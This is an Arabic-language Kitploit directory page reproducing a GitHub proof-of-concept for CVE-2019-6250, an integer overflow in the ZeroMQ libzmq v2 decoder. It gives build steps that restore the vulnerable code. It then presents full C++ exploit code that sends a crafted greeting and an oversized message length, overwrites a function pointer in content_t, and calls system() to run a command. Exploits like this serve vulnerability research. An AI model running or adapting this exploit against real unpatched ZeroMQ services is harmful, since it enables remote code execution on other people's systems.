Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-6250-libzmq — دليل إثبات المفهوم لثغرة CVE-2019-6250، توضح تجاوز عدد صحيح في libzmq الخاص بـ ZeroMQ يؤدي إلى تنفيذ تعليمات برمجية عشوائية عبر رسائل مصممة. | Kitploit
أدوات/GitHubGitHub/akashicyitai/cve-2019-6250-libzmq
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالالاختبار العشوائيتطوير الحمولاتاستغلال الملفات الثنائية
GitHubakashicyitai/cve-2019-6250-libzmq

CVE-2019-6250-libzmq

دليل إثبات المفهوم لثغرة CVE-2019-6250، توضح تجاوز عدد صحيح في libzmq الخاص بـ ZeroMQ يؤدي إلى تنفيذ تعليمات برمجية عشوائية عبر رسائل مصممة.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 2 سنواتلم تتم المراجعة بعد

CVE-2019-6250-libzmq

ZeroMQ(ZMQ)

ZeroMQ(ZMQ) هي مكتبة رسائل غير متزامنة عالية الأداء، مصممة لتوفير آلية نقل رسائل فعالة ومرنة للبيئات الموزعة أو المتوازية. توفر ZeroMQ أنماطًا متعددة لنقل الرسائل (مثل الطلب-الرد، النشر-الاشتراك، الدفع-السحب، الوكيل، إلخ)، وتدعم بروتوكولات نقل متعددة (مثل TCP و IPC و PGM، إلخ). الهدف التصميمي لـ ZeroMQ هو تبسيط برمجة الشبكات وتحسين الأداء من خلال توفير قوائم انتظار رسائل فعالة.

libzmq

libzmq هي مكتبة التنفيذ الأساسية لـ ZeroMQ، وتشير عادةً إلى تنفيذ مكتبة ZeroMQ بلغة C. إنها التجسيد الفعلي لوظائف ZeroMQ، وتوفر الدعم الأساسي للعديد من لغات البرمجة. توفر libzmq جميع الوظائف الأساسية لـ ZeroMQ ويمكن استخدامها مع العديد من روابط اللغات.

طريقة الهجوم

تحميل مكتبة libzmq

root@kitploit:~
git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3

قام المؤلف بإصلاح الثغرة، للدخول إلى src/v2_decoder.cpp لتعديل محتوى الدالة zmq::v2_decoder_t::size_ready بالكود التالي لإعادة إنتاج الثغرة:

root@kitploit:~
int zmq::v2_decoder_t::size_ready (uint64_t msg_size_,unsigned char const *read_pos_)
{
    int rc = _in_progress.close ();
    assert (rc == 0);

    // the current message can exceed the current buffer. We have to copy the buffer
    // data into a new message and complete it in the next receive.

    shared_message_memory_allocator &allocator = get_allocator ();
    if (unlikely (!_zero_copy
                  || ((unsigned char *) read_pos_ + msg_size_
                      > (allocator.data () + allocator.size ())))) {
        // a new message has started, but the size would exceed the pre-allocated arena
        // this happens every time when a message does not fit completely into the buffer
        rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
    } else {
        // construct message using n bytes from the buffer as storage
        // increase buffer ref count
        // if the message will be a large message, pass a valid refcnt memory location as well
        rc =
          _in_progress.init (const_cast<unsigned char *> (read_pos_),
                             static_cast<size_t> (msg_size_),
                             shared_message_memory_allocator::call_dec_ref,
                             allocator.buffer (), allocator.provide_content ());

        // For small messages, data has been copied and refcount does not have to be increased
        if (_in_progress.is_zcmsg ()) {
            allocator.advance_content ();
            allocator.inc_ref ();
        }
    }

    if (unlikely (rc)) {
        errno_assert (errno == ENOMEM);
        rc = _in_progress.init ();
        errno_assert (rc == 0);
        errno = ENOMEM;
        return -1;
    }

    _in_progress.set_flags (_msg_flags);
    // this sets read_pos to
    // the message data address if the data needs to be copied
    // for small message / messages exceeding the current buffer
    // or
    // to the current start address in the buffer because the message
    // was constructed to use n bytes from the address passed as argument
    next_step (_in_progress.data (), _in_progress.size (),
               &v2_decoder_t::message_ready);

    return 0;
}

تثبيت مكتبة libzmq

root@kitploit:~
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install

تحميل وتثبيت cppzmq

root@kitploit:~
git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install

استبدال /demo/main.cpp بـ main.cpp في هذا المستودع

ترجمة main.cpp

root@kitploit:~
cd demo
mkdir build
cd build
cmake ..
make
./demo

موقع تشغيل الثغرة

يوجد في Libzmq/src/v2_decoder.cpp المحتوى التالي الذي يعاني من تجاوز عدد صحيح. عندما تكون قيمة msg_size_ كبيرة جدًا، فإن read_pos + msg_size_ يصبح رقمًا صغيرًا جدًا، مما يجعل شرط if خطأً، وبالتالي لا يقوم البرنامج بتهيئة حجم الرسالة. if (unlikely (!zero_copy || ((unsigned char *) read_pos + msg_size_ > (allocator.data () + allocator.size ())))) {

لذلك يمكن استخدام الرسالة المكتوبة لتغطية الذاكرة خلف المخزن المؤقت. والذاكرة خلف المخزن المؤقت هي بنية content_t التي تحتوي على مؤشر دالة ffn ومعلمات الدالة data و hint. 67 struct content_t 68 { 69 void *data; 70 size_t size; 71 msg_free_fn *ffn; 72 void *hint; 73 zmq::atomic_counter_t refcnt; 74 };

استغلال الثغرة

من خلال التحكم في الرسالة المرسلة، يمكنك الكتابة فوق مؤشر الدالة والمعلمات المذكورة أعلاه بدالة محددة ومعلماتها لتحقيق الهجوم.

root@kitploit:~
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>

class Thread {
    public:
    Thread() : the_thread(&Thread::ThreadMain, this)
    { }
    ~Thread(){
    }
    private:
    std::thread the_thread;
    void ThreadMain() {
        zmq::context_t context (1);
        zmq::socket_t socket (context, ZMQ_REP);
        socket.bind ("tcp://*:6666");

        while (true) {
            zmq::message_t request;

            // Wait for next request from client
            try {
                socket.recv (&request);
            } catch ( ... ) { }
        }
    }
};

static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr)
{
    int s;
    struct sockaddr_in remote_addr = {};
    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        abort();
    }
    remote_addr.sin_family = AF_INET;
    remote_addr.sin_port = htons(6666);
    inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);

    if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
    {
        abort();
    }

    const uint8_t greeting[] = {
        0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
        0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
        0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */
        0x00, /* Unused */
    };
    send(s, greeting, sizeof(greeting), 0);

    const uint8_t v2msg[] = {
        0x02, /* v2_decoder_t::eight_byte_size_ready */
        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
    };
    send(s, v2msg, sizeof(v2msg), 0);

    /* Write UNTIL the location of zmq::msg_t::content_t */
    size_t plsize = 8183;
    uint8_t* pl = (uint8_t*)calloc(1, plsize);
    send(s, pl, plsize, 0);
    free(pl);

    uint8_t content_t_replacement[] = {
        /* void* data */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* size_t size */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* msg_free_fn *ffn */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* void* hint */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    };

    /* Assumes same endianness as target */
    memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
    memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
    memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));

    /* Overwrite zmq::msg_t::content_t */
    send(s, content_t_replacement, sizeof(content_t_replacement), 0);

    close(s);
    sleep(1);
}

char destbuffer[100];
char srcbuffer[100] = "ping google.com";

int main(void)
{
    Thread* rt = new Thread();
    sleep(1);

    callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy);

    callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);

    return 0;
}
تنزيل الأداة